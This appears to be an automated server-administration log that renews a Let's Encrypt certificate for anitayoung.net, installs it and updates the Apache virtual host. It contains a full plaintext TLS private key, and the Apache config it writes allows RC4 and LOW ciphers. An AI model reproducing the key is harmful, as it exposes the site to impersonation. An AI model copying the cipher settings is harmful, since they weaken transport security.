MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d




STDERR:
PHP Warning:  PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP    compiled with module API=20220829
These options need to match
 in Unknown on line 0


2026-04-08 12:19:55: Establishing a connection
2026-04-08 12:19:55: Establishing a connection
2026-04-08 12:19:55: 

PUT: /tmp/pkp683498

#!/bin/bash
if [ -d "/var/www/anitayoung_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-08 12:19:55: 

chmod 755 /tmp/pkp683498; /tmp/pkp683498; rm /tmp/pkp683498

2026-04-08 12:19:55: 


1


2026-04-08 12:19:56: Establishing a connection
2026-04-08 12:19:56: 

PUT: /tmp/pkp374557

#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
cat > y203Dd3LG3l9xKZp2y6YWZM_OB3aXfMu8MG6BFfViR0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
y203Dd3LG3l9xKZp2y6YWZM_OB3aXfMu8MG6BFfViR0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 y203Dd3LG3l9xKZp2y6YWZM_OB3aXfMu8MG6BFfViR0


2026-04-08 12:19:56: 

chmod 755 /tmp/pkp374557; /tmp/pkp374557; rm /tmp/pkp374557

2026-04-08 12:19:56: 




2026-04-08 12:20:01: Establishing a connection
2026-04-08 12:20:01: 

PUT: /tmp/pkp333266

#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
rm y203Dd3LG3l9xKZp2y6YWZM_OB3aXfMu8MG6BFfViR0


2026-04-08 12:20:02: 

chmod 755 /tmp/pkp333266; /tmp/pkp333266; rm /tmp/pkp333266

2026-04-08 12:20:02: 




2026-04-08 12:20:02: Establishing a connection
2026-04-08 12:20:02: 

PUT: /tmp/pkp359956

#!/bin/bash
temp_file=$(mktemp)
TARGET=6784aa2fd84151497bb640fc77814c2a.crt

cat > $temp_file <<'endmsg'
05:f5:4e:d6:3a:85:29:44:41:72:ba:32:b3:b4:50:5a

-----BEGIN CERTIFICATE-----
MIIE9jCCA96gAwIBAgISBeglugh+U/mDFFoQnE7fzR7DMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDA4MTEyMTI5WhcNMjYwNzA3MTEyMTI4WjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AOQ4Fk26YOpCoo5wdLkdBIQdBxphysy+UV3TIyKAlrIinstLbuwRl3vi6VhmA5ui
dhaMsqjAdFF1CWmJp7iSIPxDZDw36iwiYkPMs4jUFHmaD0s28acIX2zqS/WOppzt
cAG+ad2+8pjjhkVPQuG7wyVrKv07pl3xh1FYCx/eC0OhKnn/5n1y4rcr50fnf2Mc
8ThHJ1DqVDOCIogz85edKl8JhTDdIOV55kv0+K06n50vxh5vLsWfyrRZS8NYam+V
EoE4sF/mobOvLocMyXWPGCuMWxQuWSyf5+L5jAIPy50uoOf0ZCI+WlKc62GhL97l
i4Z7HuiMv8OuAQ05pUe35ZECAwEAAaOCAhwwggIYMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSzB7Fs
kJqzKh99FZY9VjLcVolo2DAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aS
MzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDmFuaXRheW91bmcubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcv
NjguY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUAlE5Dh/rswe+B8xkkJqgY
ZQHH0184AgE/cmd9VTcuGdgAAAGdbQkBcgAABAMARjBEAiBH85eBwOIzkSYdJjxL
BdLCTmaSVHi3IVBMekiGnzDnZwIgEKu/M5d9JAGJ3CsLwB7tCl7gHweouW7NIdpK
2/UkY2QAfwAm42RuWGkhI7w0P0ckNZs3ks0kWojYFdOTM/2ZGKtHIwAAAZ1tCQGu
AAgAAAUABX5KYwQDAEgwRgIhAIWRW6R616f1b8GJi4W0IRdR/WQyFcAYytSFuaNh
6oHEAiEAtjjuss1Jm4foQc56zm1Vsx4GwjJkqGF81qBm0H2XLfYwDQYJKoZIhvcN
AQELBQADggEBAFi8ebSUGQRmk14VlfuD6NOWn79Ohqg6zPulzBRDqgTlvEOQFNgq
BbzJtVHGvYVV7WvqAB2u+98ggDbdYT73UJFuzdFByZauHY6FHCrUut1FLbm9zTzU
5i9qvJXgiUVbz4KWd1+Vhw8hqLLXOA9YZJNpqbRSi8pWmMhy8y61CcBDAROFYB0b
2j0ONWDLRYgBzL+qD5fB5Hn+A7PaQqRQftIiuTboCrG7zOpYCXHXBksgoLX8nVfv
QmH9JZrW+Iu7Utyl4nyAQbCnva763SjeTYbaK+hgc47jdG8sWjQvs/7N51uPeBc+
Fm1bUjt+aUwqEKPQDDVrDxf8nkocFL9/uu0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDkOBZNumDqQqKO
cHS5HQSEHQcaYcrMvlFd0yMigJayIp7LS27sEZd74ulYZgObonYWjLKowHRRdQlp
iae4kiD8Q2Q8N+osImJDzLOI1BR5mg9LNvGnCF9s6kv1jqac7XABvmndvvKY44ZF
T0Lhu8Mlayr9O6Zd8YdRWAsf3gtDoSp5/+Z9cuK3K+dH539jHPE4RydQ6lQzgiKI
M/OXnSpfCYUw3SDleeZL9PitOp+dL8Yeby7Fn8q0WUvDWGpvlRKBOLBf5qGzry6H
DMl1jxgrjFsULlksn+fi+YwCD8udLqDn9GQiPlpSnOthoS/e5YuGex7ojL/DrgEN
OaVHt+WRAgMBAAECggEABWz2LkhC3TTi+JYQt1Uq1iF6yZA3Ph9875kpO9zw4Dip
m+mN4DnBl0PXcncf6TV/P1VeWrvTFBvvQqmfsbgTJc4sGhCl/gE+AvDBGKzalQLC
L/KFI5iDzMMD9ek7ma3dKKR0T73WNodrufZ6v4M7TiaeZ7VxJMj9A6R/RLVeoQ+e
gTgiYBm173n+OspdI2yGJYk5tNVGQPTKgSUJgIDZBDtlReXeIqyz146dD62PXSVS
TkEO8N/1WBzFUuQlej2jnCY1ZPdeAzN5sLwp2Fk5hw7if2rl9eeZ1kwymbdGoyZM
2a6oGvdktjMWSo0NWYOXjDcUCGLR3D0MugKujkViIQKBgQD94plUijWMRgsfitqw
3h5qPCIUgJlJHmIQ54K+FBfbFpwWQiEDu5Sdw/oLKMDyKteLE19LtYYbaCjxt+9e
9QAHdqAETJVncdfYyEHMkCVl4dVw1o//PC8a66VDgmEQljsdIePbCpX0omqswfW8
iFzKvlCLMfN4YxAxa/de5qGfYQKBgQDmHsGXOILySWstYIzyX4v2kfENGC7vdi6b
Lvb0IjQ7PBPtLK0DRKSDUhBpeEFvzEBkw8E5UxelcrhtvBigx7xeJLhbCybB/no4
ww7f2lyvat4VKt+2y2kB+MA9N4VZc5a2WipTUsmw/0/p6+cmuBxxvbOuU5jwxzr/
Iqz4jpbkMQKBgQCTaRJmB6l3vOOQeOrpbs5yGGAhT1mxHrcJ4aIEA16mksYmFldc
93ke8T8pY4xED6P+2EyohMlM+Hltf8K4e8B8lN/sHxtQaMVO1Vd/EuLj+PAZCDur
kqI3G0NlozoAi3nfPGI0OD1BQVx22ld4FCTsgvv5FhOrfrlUOL/0liyZgQKBgQDh
ARGpGshuvvrc05r9Ig9oeCqJ8ytxWM0ZT0KIUylfAc86CITivStee88wUTUqazxL
SlyUAHsOeq16HoC2NJYqNx1LaAvtgzVeatsQZiJaItQjPligEyQJmX/eW3s3i53B
j0fzUO+E8R7iSpcpdLvbOvGFcpgIVcWJ0g3uuv0vAQKBgQDNGsD/9u1Jb0Qb0gcX
4sGuNeU1aEWK/+blEij36qE/N7olJLbBEFP4Bk0F2FLR93cOoIlAAxLAQ7ppI6O3
GSngzDYvVNan1NG3rO1nRW8c1GPKytjUkSuviWt3SmYgHcPEdwui0JfyI9lIsqN9
vA9M4XWanNBwgYBoaU6wGv3DpA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-04-08 12:20:02: 

chmod 755 /tmp/pkp359956; /tmp/pkp359956; rm /tmp/pkp359956

2026-04-08 12:20:02: 


dir=/etc/ssl/certs


2026-04-08 12:20:02: 

PUT: /tmp/pkp530260

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/anitayoung_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-08 12:20:02: 

chmod 755 /tmp/pkp530260; /tmp/pkp530260; rm /tmp/pkp530260

2026-04-08 12:20:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf 42

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-04-08 12:20:02: 

PUT: /tmp/pkp505059

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=anitayoung_www_net.conf
TARGET=/etc/apache2/sites-enabled/anitayoung_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/anitayoung_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf= 1'
fi


2026-04-08 12:20:02: 

chmod 755 /tmp/pkp505059; /tmp/pkp505059; rm /tmp/pkp505059

2026-04-08 12:20:02: 




2026-04-08 12:20:02: 

PUT: /tmp/pkp829523

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-08 12:20:02: 

chmod 755 /tmp/pkp829523; /tmp/pkp829523; rm /tmp/pkp829523

2026-04-08 12:20:03: 


